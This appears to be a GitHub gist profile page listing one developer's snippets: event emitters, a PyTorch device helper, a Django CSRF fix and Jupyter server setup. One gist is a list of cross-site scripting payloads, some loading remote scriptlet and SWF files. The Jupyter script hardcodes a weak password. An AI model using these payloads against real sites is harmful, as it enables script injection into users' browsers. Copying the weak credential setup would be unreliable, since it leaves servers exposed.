Skip to content

Instantly share code, notes, and snippets.

View janaSunrise's full-sized avatar
Becoming better, every day.

Sunrit Jana janaSunrise

Becoming better, every day.
View GitHub Profile
@janaSunrise
janaSunrise / event-emitter.py
Created October 21, 2022 05:41
Event emitter in python
from collections import defaultdict
from typing import Callable, Optional
HandlerFunction = Callable[..., None]
class EventHandler:
def __init__(self):
self.handlers = defaultdict(list)
@janaSunrise
janaSunrise / get-pytorch-device.py
Last active June 13, 2023 05:25
Function to get the device to run the code on so it's device-agnostic and accelerated if any device other than CPU is available.
# We don't check if `rocm` is available as it uses the same CUDA semantics for AMD GPUs
def get_device():
if torch.cuda.is_available():
return 'cuda'
elif torch.backends.mps.is_available():
return 'mps'
else:
return 'cpu'
@janaSunrise
janaSunrise / runtime-checker.ts
Created September 27, 2022 06:03
Check which Javascript runtime is being used (Browser, Node, Deno or Bun).
function isNodeRuntime() {
// The reason we check for both `v8` instead of `node` is because when running `process.versions` under
// Bun, it returns `node` and `bun` version, but it doesn't use v8 engine, hence not a Node.js runtime.
return (
typeof process !== 'undefined' &&
process.versions &&
process.versions.v8
);
}
@janaSunrise
janaSunrise / event-emitter.ts
Created September 25, 2022 11:37
Lightweight event emitter for typescript/javascript.
export class EventEmitter {
public events: Map<string, Set<Function>>;
constructor() {
this.events = new Map();
}
public on(event: string, listener: Function) {
if (!this.events.has(event)) this.events.set(event, new Set());
@janaSunrise
janaSunrise / from_dict_meta.py
Created March 13, 2022 06:28
Ensuring the class implementing this metaclass has `from_dict` method, to load data from dictionary. This is usually common for dataclasses to load data into them and return an object of the class.
import typing as t
class FromDictMeta(type):
"""Metaclass to ensure inherited classes have `from_dict` class method."""
def __new__(
cls,
name: str,
bases: t.Tuple[type, ...],
attrs: t.Dict[str, t.Any],
@janaSunrise
janaSunrise / gradient_centralization.py
Created November 15, 2021 17:04
Gradient centralization in Tensorflow to easily boost the stats of Deep neural networks. It helps to achieve better accuracy and lower loss. This operates directly on the gradients to centralize the vectors to have zero mean.
# Imports
import tensorflow as tf
from keras import backend as K
# Define function for centralizing the gradients
def centralize_gradients(optimizer, loss, params):
grads = [] # List to store the gradients
for grad in K.gradients(loss, params): # Iterate over gradients using the Keras Backend
@janaSunrise
janaSunrise / fix-django-csrf-error.js
Created July 28, 2021 15:49
Easiest way to fix the error of `CSRF Failed` when building a fullstack App with Django and JS framework. This is an example to fix it with Axios library, when being used to make requests to backend. Since Django and DRF requires a CSRF token to verify in Session Authentication, When using Axios, this simple axios config fixes the error.
// Fix CSRF error in django using this.
axios.defaults.xsrfCookieName = "csrftoken";
axios.defaults.xsrfHeaderName = "X-CSRFToken";
@janaSunrise
janaSunrise / jupyter-setup.sh
Last active September 27, 2021 12:59
A quick bash script to setup Jupyter notebooks on your server.
sudo pip3 install jupyter
export PASSWD=$(ipython -c "from IPython.lib import passwd; print(passwd('sudo123'))") # Change with your password here between quotes.
jupyter notebook --generate-config
cd ~
mkdir certs
cd certs
sudo openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout mycert.pem -out mycert.pem
@janaSunrise
janaSunrise / xss.txt
Created December 24, 2020 16:34
XSS VECTORS ROCK!
&lt;BASE HREF=\"javascript&#058;alert('XSS');//\"&gt;
&lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('XSS')&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
&lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
a=\"get\";
b=\"URL(\\"\";
c=\"javascript&#058;\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);
@janaSunrise
janaSunrise / jupyter.service
Last active November 27, 2020 05:23
This is the systemd service, That will enable the process to keep running, until Manually stopped, and Also Automatically will bind to the port specified.
[Unit]
Description=jupyter-notebook
After=network.target
[Service]
Type=simple
ExecStart=/home/jana/anaconda3/bin/jupyter-notebook --no-browser --ip=0.0.0.0 --port=9999 --port-retries=50
Restart=always
RestartSec=10
User=<your-user>